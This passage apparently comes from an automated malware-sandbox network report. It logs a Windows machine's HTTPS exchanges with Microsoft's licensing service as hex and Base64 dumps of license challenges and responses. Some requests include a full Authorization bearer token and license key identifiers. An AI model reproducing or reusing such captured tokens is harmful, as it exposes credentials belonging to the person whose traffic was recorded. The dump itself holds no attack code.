5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.26
Content-Length: 4445
Host: licensing.mp.microsoft.com

2022-07-01 09:01:32 UTC 2416 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:32 UTC 2420 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:32 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8121
MS-CorrelationId: 7415ec44-c3bf-4f94-b930-8c8145da0b1e
MS-RequestId: 57f014c1-9aec-45a3-aac4-be1138840f1f
MS-CV: UznHpAHqV0GMBdER.26.1530940163.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-j8qrv

2022-07-01 09:01:32 UTC 2421 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 61 31 65 35 62 31 36 35 2d 30 35 33 32 2d 61 
36 61 33 2d 66 35 34 32 2d 30 63 35 63 31 36 32 62 65 33 65 31 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"a1e5b165-0532-a6a3-f542-0c5c162be3e1"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:32 UTC 2422 IN Data Raw: 7a 6f 7a 4d 53 34 7a 4e 7a 45 7a 4e 7a 59 35 57 6a 77 76 51 6d 56 6e 61 57 35 45 59 58 52 6c 50 6a 77 76 
54 47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 2b 50 45 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6d 56 
35 53 6e 4e 61 56 32 52 6f 57 54 4e 73 55 57 4e 74 4f 57 74 6b 56 30 34 77 55 31 64 52 61 55 39 70 53 58 70 4e 61 6b 7
0 73 54 55 52 6b 61 30 31 44 4d 57 31 50 56 45 30 79 54 46 52 53 61 30 35 45 54 58 52 5a 56 30 5a 73 57 6d 6b 78 61 
6b 31 36 57 6d 68 4f 4d 6b 35 73 54 30 64 53 62 55 31 71 55 57 6c 6d 55 54 30 39 50 43 39 44 64 58 4e 30 62 32 31 51 
62 32 78 70 59 32 6c 6c 63 7a 34 38 55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 51 6d 78 76 59 32 73 2b 52 6b 46 42 51 55 46 
4c 5a 30 46 42 51 55 52 4b 51 55 46 42 51 55 4e 6e 51 55 46 42 51 56 56 42 
Data Ascii: zozMS4zNzEzNzY5WjwvQmVnaW5EYXRlPjwvTGljZW5zZUluZm8+PEN1c3RvbVBvbGljaWVzPmV5SnN
aV2RoWTNsUWNtOWtkV04wU1dRaU9pSXpNakpsTURka01DMW1PVE0yTFRSa05ETXRZV0ZsWmkxak16Wmh
OMk5sT0dSbU1qUWlmUT09PC9DdXN0b21Qb2xpY2llcz48U1BMaWNlbnNlQmxvY2s+RkFBQUFLZ0FBQUR
KQUFBQUNnQUFBQVVB

2022-07-01 09:01:32 UTC 2423 IN Data Raw: 6e 4e 6d 62 33 4a 74 63 7a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 49 45 46 73 5a 32 39 79 61 58 52 6f 
62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 38 77 4f 53 39 
34 62 57 78 6b 63 32 6c 6e 49 32 56 75 64 6d 56 73 62 33 42 6c 5a 43 31 7a 61 57 64 75 59 58 52 31 63 6d 55 69 49 43 
38 2b 50 43 39 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 45 61 57 64 6c 63 33 52 4e 5a 58 52 6f 62 32 51 67 51 
57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 
4d 44 41 78 4c 7a 41 30 4c 33 68 74 62 47 56 75 59 79 4e 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 50 45 52 70 5a 32 56 
7a 64 46 5a 68 62 48 56 6c 50 6a 4d 79 52 43 74 4a 53 45 6c 6b 61 48 70 42 
Data Ascii: nNmb3Jtcz48VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWx
kc2lnI2VudmVsb3BlZC1zaWduYXR1cmUiIC8+PC9UcmFuc2Zvcm1zPjxEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJod
HRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyNzaGEyNTYiIC8+PERpZ2VzdFZhbHVlPjMyRCtJSElkaHpB
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2022-07-01 09:01:32 UTC 2424 IN Data Raw: 47 64 6c 53 46 70 36 59 6d 52 43 64 6e 68 4b 64 6b 74 6f 63 47 4a 79 63 54 5a 61 55 44 42 47 63 31 4e 46 62 
45 78 33 55 6d 39 4d 51 57 31 32 4e 33 70 4a 64 56 5a 33 4d 31 5a 69 4e 33 52 6d 55 58 51 31 59 6d 70 44 52 45 68 53 
51 55 63 35 5a 6d 56 7a 54 6d 78 5a 53 31 59 7a 65 57 4a 35 54 6e 4a 49 65 58 70 6e 62 47 5a 61 55 46 4a 43 4e 56 56 
4b 57 6e 63 7a 4d 6e 6c 70 4d 44 4e 36 55 57 45 72 54 45 78 68 4d 44 56 6d 61 6e 4d 32 61 6d 39 46 62 57 78 49 59 7a 
56 43 63 6b 64 52 63 6b 64 79 59 6b 35 4e 51 6d 46 6f 65 6a 52 6a 62 58 56 34 53 30 4d 30 4c 32 52 6f 52 57 49 33 53 
6c 70 47 56 57 74 6a 4d 45 31 53 61 48 4d 76 54 54 4e 57 5a 54 55 78 4d 55 68 52 5a 6b 74 31 52 79 73 35 4d 6d 63 78 
54 32 5a 6d 53 6d 52 53 63 30 46 51 65 6c 64 53 5a 48 4e 72 55 47 39 4f 
Data Ascii: GdlSFp6YmRCdnhKdktocGJycTZaUDBGc1NFbEx3Um9MQW12N3pJdVZ3M1ZiN3RmUXQ1YmpDREhSQUc
5ZmVzTmxZS1YzeWJ5TnJIeXpnbGZaUFJCNVVKWnczMnlpMDN6UWErTExhMDVmanM2am9FbWxIYzVCckd
RckdyYk5NQmFoejRjbXV4S0M0L2RoRWI3SlpGVWtjME1SaHMvTTNWZTUxMUhRZkt1Rys5MmcxT2ZmSmR
Sc0FQeldSZHNrUG9O

2022-07-01 09:01:32 UTC 2425 IN Data Raw: 76 5a 6e 51 75 54 56 4e 51 59 57 6c 75 64 46 38 34 64 32 56 72 65 57 49 7a 5a 44 68 69 59 6e 64 6c 50 43 
39 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 34 38 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 
47 56 79 61 57 39 6b 50 6a 49 77 4d 54 59 77 50 43 39 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 
62 32 51 2b 50 43 39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 79 42 55 65 58 42 
6c 50 53 4a 4d 5a 57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 56 7a 59 57 64 6c 50 53 4a 50 62 6d 78 70 62 6d 
55 69 49 45 78 70 59 32 56 75 63 32 56 44 59 58 52 6c 5a 32 39 79 65 54 30 69 55 6d 56 30 59 57 6c 73 49 6a 34 38 53 
58 4e 7a 64 57 56 6b 52 47 46 30 5a 54 34 79 4d 44 49 79 4c 54 41 33 4c 54 
Data Ascii: vZnQuTVNQYWludF84d2VreWIzZDhiYndlPC9Bc3NvY2lhdGVkUEZOcz48TGVhc2VSZW5ld2FsUGVya
W9kPjIwMTYwPC9MZWFzZVJlbmV3YWxQZXJpb2Q+PC9CaW5kaW5nPjxMaWNlbnNlSW5mbyBUeXBlPSJMZ
WFzZSIgTGljZW5zZVVzYWdlPSJPbmxpbmUiIExpY2Vuc2VDYXRlZ29yeT0iUmV0YWlsIj48SXNzdWVkRGF0ZT4yMDI
yLTA3LT

2022-07-01 09:01:32 UTC 2426 IN Data Raw: 79 56 6a 42 51 56 6c 5a 55 53 6d 35 43 64 6d 4a 48 62 47 70 6c 56 6c 49 31 59 30 64 56 4f 56 4a 48 56 6a 4a 
68 56 30 35 73 53 57 6c 33 61 57 45 79 56 6a 56 54 56 31 4a 36 53 57 70 77 59 6b 6c 74 52 58 68 61 56 46 5a 70 54 56 
52 5a 4d 55 78 55 51 54 46 4e 65 6b 6c 30 57 56 52 61 61 45 31 35 4d 57 31 4f 56 46 46 35 54 46 52 43 61 6b 35 58 54 
58 68 4f 61 6b 70 70 57 6c 52 4f 62 45 31 54 53 6d 52 4d 51 30 70 79 59 56 63 31 61 30 6c 71 62 32 6c 52 4d 6a 6c 31 5
a 45 64 57 64 57 52 44 53 58 4e 4a 62 6b 4a 6f 57 54 4a 30 61 46 6f 79 56 6e 70 4a 61 6e 42 69 5a 58 6c 4b 64 31 6c 58 
54 6e 4a 5a 56 32 52 73 55 31 64 53 62 47 4a 75 55 6e 42 61 62 57 78 73 59 32 6c 4a 4e 6b 6c 71 55 54 56 61 61 6b 31 
36 57 58 70 52 4e 45 78 58 53 58 6c 61 52 31 56 30 57 6d 70 6e 65 56 
Data Ascii: yVjBQVlZUSm5CdmJHbGplVlI1Y0dVOVJHVjJhV05sSWl3aWEyVjVTV1J6SWpwYkltRXhaVFZpTVRZM
UxUQTFNekl0WVRaaE15MW1OVFF5TFRCak5XTXhOakppWlRObE1TSmRMQ0pyYVc1a0lqb2lRMjl1ZEdWd
WRDSXNJbkJoWTJ0aFoyVnpJanBiZXlKd1lXTnJZV2RsU1dSbGJuUnBabWxsY2lJNklqUTVaak16WXpRNExXSXlaR1V
0WmpneV

2022-07-01 09:01:32 UTC 2427 IN Data Raw: 77 54 48 5a 46 53 45 4a 72 57 56 5a 4f 56 33 42 47 53 30 78 32 53 6a 46 48 5a 45 6c 4a 53 53 38 34 5a 57 68 
6a 56 6c 56 30 54 31 5a 43 62 6a 56 55 56 32 64 6b 50 43 39 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 
34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 48 68 74 62 47 35 7a 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 
6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 49 6a 34 38 55 32 6c 6e 
62 6d 56 6b 53 57 35 6d 62 7a 34 38 51 32 46 75 62 32 35 70 59 32 46 73 61 58 70 68 64 47 6c 76 62 6b 31 6c 64 47 68 
76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 
4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 57 56 34 59 79 
Data Ascii: wTHZFSEJrWVZOV3BGS0x2SjFHZElJSS84ZWhjVlV0T1ZCbjVUV2dkPC9TUExpY2Vuc2VCbG9jaz48U
2lnbmF0dXJlIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj48U2lnbmVkSW5mbz48Q2F
ub25pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy

2022-07-01 09:01:32 UTC 2428 IN Data Raw: 33 52 7a 42 49 62 48 46 50 64 69 39 4e 55 48 56 4a 4e 57 70 72 57 6c 68 44 57 6c 56 56 56 58 46 71 56 45 
34 7a 62 58 4a 49 5a 47 35 47 4e 44 49 34 51 32 31 71 62 32 46 73 62 32 6b 33 57 6b 64 61 51 58 68 45 51 33 45 76 53 
47 78 45 63 6a 42 74 65 6c 6b 33 65 47 4a 53 54 31 4d 33 57 6a 56 6e 4e 32 46 69 61 6e 68 6a 52 79 74 58 56 6a 5a 75 
55 6d 52 52 4e 47 70 42 56 45 46 56 52 48 52 71 56 58 5a 33 53 47 78 34 5a 47 74 57 4e 6b 56 35 63 47 70 74 4d 6d 4e 
46 4b 30 64 55 4d 6d 74 47 57 45 78 51 64 48 56 56 54 7a 52 71 65 6d 78 61 52 47 4e 75 61 54 42 47 57 6a 42 6b 65 56 
42 58 62 6a 41 34 53 46 59 30 63 6a 46 61 5a 58 49 7a 55 54 30 39 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 56 57 59 
57 78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 44 30 69 58 7a 
Data Ascii: 3RzBIbHFPdi9NUHVJNWprWlhDWlVVVXFqVE4zbXJIZG5GNDI4Q21qb2Fsb2k3WkdaQXhEQ3EvSGxEc
jBtelk3eGJST1M3WjVnN2FianhjRytXVjZuUmRRNGpBVEFVRHRqVXZ3SGx4ZGtWNkV5cGptMmNFK0dUM
mtGWExQdHVVTzRqemxaRGNuaTBGWjBkeVBXbjA4SFY0cjFaZXIzUT09PC9TaWduYXR1cmVWYWx1ZT48S
2V5SW5mbyBJZD0iXz

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

143 192.168.2.5 49910 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:32 UTC 2429 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.27
Content-Length: 4329
Host: licensing.mp.microsoft.com

2022-07-01 09:01:32 UTC 2430 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:32 UTC 2435 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:31 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8049
MS-CorrelationId: ea690e29-4beb-4389-a6d3-1794a7fbb9f3
MS-RequestId: 2166e6e9-0fdf-4f00-883b-f37cc77c841e
MS-CV: UznHpAHqV0GMBdER.27.1530940204.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-ddx6r

2022-07-01 09:01:32 UTC 2435 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 61 63 31 31 36 61 37 32 2d 62 36 62 31 2d 64 
35 35 38 2d 32 33 66 36 2d 31 30 37 39 36 65 36 33 34 64 34 31 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"ac116a72-b6b1-d558-23f6-10796e634d41"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:32 UTC 2436 IN Data Raw: 6a 49 74 4d 44 63 74 4d 44 46 55 4d 44 41 36 4d 54 6b 36 4d 7a 55 75 4d 7a 41 31 4d 6a 41 32 4e 56 6f 38 
4c 30 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 38 4c 30 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 50 6a 78 44 64 58 4e 
30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 35 6c 65 55 70 7a 57 6c 64 6b 61 46 6b 7a 62 46 46 6a 62 54 6c 72 5a 46 
64 4f 4d 46 4e 58 55 57 6c 50 61 55 6b 31 57 6d 70 42 65 6b 31 71 59 33 70 61 61 54 46 74 57 6c 52 43 61 55 78 55 55 
6d 78 61 52 47 64 30 54 31 64 4b 61 6b 39 44 4d 57 70 4e 62 56 6c 35 54 6c 52 5a 65 6b 35 36 56 54 42 50 56 45 46 70 
5a 6c 45 39 50 54 77 76 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 50 46 4e 51 54 47 6c 6a 5a 57 35 
7a 5a 55 4a 73 62 32 4e 72 50 6b 5a 42 51 55 46 42 54 55 6c 42 51 55 46 45 
Data Ascii: jItMDctMDFUMDA6MTk6MzUuMzA1MjA2NVo8L0JlZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21
Qb2xpY2llcz5leUpzWldkaFkzbFFjbTlrZFdOMFNXUWlPaUk1WmpBek1qY3paaTFtWlRCaUxUUmxaRGd0T1dKak9DM
WpNbVl5TlRZek56VTBPVEFpZlE9PTwvQ3VzdG9tUG9saWNpZXM+PFNQTGljZW5zZUJsb2NrPkZBQUFBTUlBQUFE

2022-07-01 09:01:32 UTC 2437 IN Data Raw: 47 31 73 5a 48 4e 70 5a 79 31 74 62 33 4a 6c 49 33 4a 7a 59 53 31 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 
50 46 4a 6c 5a 6d 56 79 5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 
2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 
39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 
6e 5a 6c 62 47 39 77 5a 57 51 74 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 
62 33 4a 74 63 7a 34 38 52 47 6c 6e 5a 58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 
69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 
Data Ascii: G1sZHNpZy1tb3JlI3JzYS1zaGEyNTYiIC8+PFJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFR
yYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnb
mF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcv

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:32 UTC 2438 IN Data Raw: 48 56 73 64 58 4d 2b 62 31 5a 54 53 6c 68 4a 64 45 52 7a 59 55 46 4a 5a 6e 64 35 55 6a 6c 69 61 47 67 76 
57 6c 4e 77 63 45 4e 42 54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 
6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 
64 36 53 58 56 57 64 7a 4e 57 59 6a 64 30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 
55 74 57 4d 33 6c 69 65 55 35 79 53 48 6c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 
65 6c 46 68 4b 30 78 4d 59 54 41 31 5a 6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 
4f 54 55 4a 68 61 48 6f 30 59 32 31 31 65 45 74 44 4e 43 39 6b 61 45 56 69 
